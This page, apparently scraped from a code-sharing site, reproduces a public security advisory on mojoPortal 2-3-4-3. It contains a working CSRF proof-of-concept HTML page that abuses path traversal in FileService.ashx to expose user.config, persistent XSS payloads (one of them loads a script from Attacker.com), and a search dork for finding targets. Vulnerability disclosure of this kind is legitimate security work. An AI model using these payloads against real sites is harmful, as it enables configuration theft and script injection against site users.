扫码分享
验证：
体验盒子|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 |
''' ________ __ ____ |\/|/ __ \ /\| || |_ \ | \/ | || | /\ | || | |_) | | |\/| | || |/ /\ \| || |_ < | || | |__| / ____ \ |__| | |_) | |_||_|\____/_/\_\____/|____/ ''' Abysssec Inc Public Advisory Title:mojoportal Multiple Remote Vulnerabilities Affected Version :mojoPortal 2-3-4-3 Discovery:www.Abysssec.com Vendor :http://www.mojoportal.com/ Demo :http://demo.mojoportal.com/ Download Links :http://www.mojoportal.com/download.aspx http://mojoportal.codeplex.com/releases/view/46512 Detailes :Includes Blogs, Forums, Event Calendar, Google Maps, Photo Galleries, Chat, ecommerce, Secure File Sharing, Newsletter, Surveys, Polls, and much more. Documentaion :http://www.mojoportal.com/documentation.aspx Dork :"Powered by mojoPortal" Admin Page :http://Example.com/Secure/Login.aspx Description : =========================================================================================== This version of mojoportal(mojoPortal 2-3-4-3) have Multiple Valnerabilities : 1- CSRF Move Files for download and DDOS attack 2- Persistent XSS 1) CSRF Move Files for download and DDOS attack: =========================================================================================== With This vulnerability you can feed the malicious link to Admin of site (when he is already logged in) to move a file with Administrator Privilege. In this path you can find a method that move files to any path: http://Example.com/Services/FileService.ashx With this command we can move user.config file to user.config.aaa: http://Example.com/Services/FileService.ashx?cmd=movefile&srcPath=./../../../user.config&destPath=./../../../user.config.aaa and then we can download it from URL: http://Example.com/user.config.aaa Vulnerable Code: ../Services/FileService.ashx.cs ln 308: result = fileSystem.MoveFile(srcPath, destPath, false); here isHTML File with AJAX Code for move user.config file to any path that is enough to Admin meet it. For this porpuse you can enter your malicious URL in this Path (in Web Site URL field) : http://localhost:60941/Secure/UserProfile.aspx The Source of HTML Page (Maliciouse Link) =========================================================================================== With this page, we send a request with AJAX. <html> <head> <title >Wellcome to MojoPortal!</title> Hello! ... ... ... This page move user.config file to another path for DDOS Attack and download new file from server. <script> function FileMove() { //alert('FileMove'); //// For Mozila FireFox this code must be writen try { netscape.security.PrivilegeManager.enablePrivilege("UniversalXPConnect"); } catch (e) { //alert("Permission to read file was denied."); } var http = false; //alert(navigator.appName);//// It Get Browser Type if (window.XMLHttpRequest) { http = new XMLHttpRequest(); // Firefox, Safari, ... //alert('XMLHttpRequest'); } else if (window.ActiveXObject) { http = new ActiveXObject("Microsoft.XMLHTTP");// Internet Explorer //alert('ActiveXObject'); } url = "http://localhost:60941/Services/FileService.ashx?cmd=movefile&srcPath=./../../../user.config&destPath=./../../../user.config.aaa"; http.onreadystatechange = done; http.open('GET', url, true); http.send(null); } function done() { if (http.readyState == 4 && http.status == 200) { //alert(http.responseText); //alert('Upload OK'); } } </script> </head> <body onload ="FileMove();"> </body> </html> 2) Persistent XSS Vulnerability: =========================================================================================== In these URL you can see a persistent XSS Vulnerability: http://Example.com/Secure/Register.aspx you can enter this value for User ID and there is sanitization: User ID: user3</title><script>alert('sanitization')</script> and register in site. When another users see your Profile in this path (for Example): http://Example.com/ProfileView.aspx?userid=5 Then you will receive your alert and script execution. Vulnerable Code: ../Secure/Register.aspx.cs ln 166: TextBox txtUserName = (TextBox)CreateUserWizardStep1.ContentTemplateContainer.FindControl("UserName"); Attention: The User ID field is limited to 50 character. As aresult you can for example enter this value: User ID: u1</title><img src="http://Attacker.com/t.js"> =========================================================================================== |
体验盒子
